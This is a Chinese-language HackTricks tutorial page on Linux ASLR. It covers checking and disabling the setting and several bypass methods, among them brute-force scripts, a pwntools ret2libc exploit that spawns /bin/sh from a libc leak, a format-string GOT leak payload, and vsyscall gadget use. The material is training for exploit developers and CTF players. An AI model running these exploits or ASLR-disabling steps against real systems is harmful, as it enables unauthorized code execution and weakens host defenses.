ASLR

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

基本信息

地址空间布局随机化(ASLR)是操作系统中使用的一种安全技术,用于随机化系统和应用程序进程使用的内存地址。通过这样做,它显著增加了攻击者预测特定进程和数据位置(如堆栈、堆和库)的难度,从而减轻了某些类型的利用,特别是缓冲区溢出。

检查ASLR状态

要在Linux系统上检查ASLR状态,您可以从**/proc/sys/kernel/randomize_va_space**文件中读取值。存储在此文件中的值确定应用的ASLR类型:

  • 0:无随机化。一切都是静态的。

  • 1:保守随机化。共享库、堆栈、mmap()、VDSO页被随机化。

  • 2:完全随机化。除了保守随机化随机化的元素外,通过brk()管理的内存也被随机化。

您可以使用以下命令检查ASLR状态:

cat /proc/sys/kernel/randomize_va_space

禁用 ASLR

禁用 ASLR,您需要将 /proc/sys/kernel/randomize_va_space 的值设置为 0。通常不建议在非测试或调试场景下禁用 ASLR。以下是禁用方法:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

您还可以通过以下方式禁用执行中的ASLR:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

启用ASLR

启用ASLR,您可以将值2写入/proc/sys/kernel/randomize_va_space文件。通常需要root权限。可以使用以下命令启用完全随机化:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

跨重启保持

使用echo命令进行的更改是临时的,在重新启动后将被重置。要使更改持久化,您需要编辑/etc/sysctl.conf文件并添加或修改以下行:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

编辑 /etc/sysctl.conf 后,使用以下命令应用更改:

sudo sysctl -p

这将确保您的ASLR设置在重新启动后保持不变。

绕过

32位暴力破解

PaX将进程地址空间分为3组

  • 代码和数据(已初始化和未初始化):.text.data.bss —> delta_exec变量中的16位熵。该变量在每个进程中随机初始化,并添加到初始地址。

  • mmap()分配的内存共享库 —> 16位,名为delta_mmap

  • —> 24位,称为delta_stack。但实际上只使用11位(从第10到第20字节,包括在内),对齐到16字节 —> 这导致524,288个可能的真实栈地址

上述数据适用于32位系统,降低的最终熵使得可以通过多次尝试执行直到利用成功来绕过ASLR。

暴力破解思路:

  • 如果溢出足够大,可以容纳一个大型NOP滑梯,您可以在栈中暴力破解地址,直到流程跳过NOP滑梯的某部分

  • 另一个选择是,如果溢出不是那么大且可以在本地运行利用,可以将NOP滑梯和shellcode添加到环境变量中。

  • 如果利用是本地的,可以尝试暴力破解libc的基地址(适用于32位系统):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 如果攻击远程服务器,您可以尝试暴力破解libc函数usleep的地址,将10作为参数传递。如果某个时刻服务器需要额外10秒才能响应,则找到了该函数的地址。

在64位系统中,熵要高得多,这是不可能的。

64位堆栈暴力破解

可以使用环境变量占用堆栈的大部分空间,然后尝试在本地多次滥用二进制文件以利用它。 以下代码显示了如何仅选择堆栈中的一个地址,并且每几百次执行,该地址将包含NOP指令

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

本地信息 (/proc/[pid]/stat)

进程的文件 /proc/[pid]/stat 可以被所有人读取,其中包含一些有趣的信息,例如:

  • startcodeendcode:二进制文件的 TEXT 上方和下方的地址

  • startstack 起始地址

  • start_dataend_dataBSS 所在的上方和下方的地址

  • kstkespkstkeip:当前 ESPEIP 地址

  • arg_startarg_end命令行参数 所在的上方和下方的地址

  • env_startenv_end环境变量 所在的上方和下方的地址

因此,如果攻击者与被利用的二进制文件在同一台计算机上,并且该二进制文件不期望从原始参数中溢出,而是从一个在读取此文件后可以被构造的不同 输入 中溢出。攻击者可以从此文件中获取一些地址,并为利用构造偏移量。

有关此文件的更多信息,请查看 https://man7.org/linux/man-pages/man5/proc.5.html 搜索 /proc/pid/stat

泄漏信息

  • 挑战是提供一个泄漏

如果给出一个泄漏(简单的CTF挑战),您可以从中计算偏移量(假设您知道正在利用的系统中使用的确切libc版本)。此示例利用是从 此处的示例 中提取的(查看该页面以获取更多详细信息):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

通过利用缓冲区溢出,可以利用 ret2plt 来窃取来自 libc 的函数地址。查看:

pageRet2plt
  • 格式化字符串任意读取

就像在 ret2plt 中一样,如果通过格式化字符串漏洞实现了任意读取,就可以从 GOT 中窃取 libc 函数 的地址。以下示例来自这里:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

您可以在以下位置找到有关格式字符串任意读取的更多信息:

pageFormat Strings

Ret2ret 和 Ret2pop

尝试通过滥用栈内地址来绕过 ASLR:

pageRet2ret & Reo2pop

vsyscall

vsyscall 机制旨在通过允许在用户空间执行某些系统调用来提高性能,尽管它们从根本上属于内核。vsyscalls 的关键优势在于它们的固定地址,不受ASLR(地址空间布局随机化)的影响。这种固定性意味着攻击者无需信息泄漏漏洞即可确定其地址并在利用中使用。 然而,在这里不会找到非常有趣的小工具(尽管例如可能获得一个 ret; 等效的小工具)

(以下示例和代码来自此文档

例如,攻击者可能在利用中使用地址 0xffffffffff600800。尝试直接跳转到 ret 指令可能导致在执行几个小工具后不稳定或崩溃,而跳转到 vsyscall 部分提供的 syscall 开头可能会成功。通过精心放置一个将执行引导到此 vsyscall 地址的 ROP 小工具,攻击者可以实现代码执行,而无需绕过利用中的 ASLR 部分。

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

因此请注意,如果内核编译时使用 CONFIG_COMPAT_VDSO,可能会通过滥用 vdso 来绕过 ASLR,因为 vdso 地址不会被随机化。欲了解更多信息,请查看:

pageRet2vDSO
从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持 HackTricks 的其他方式:

最后更新于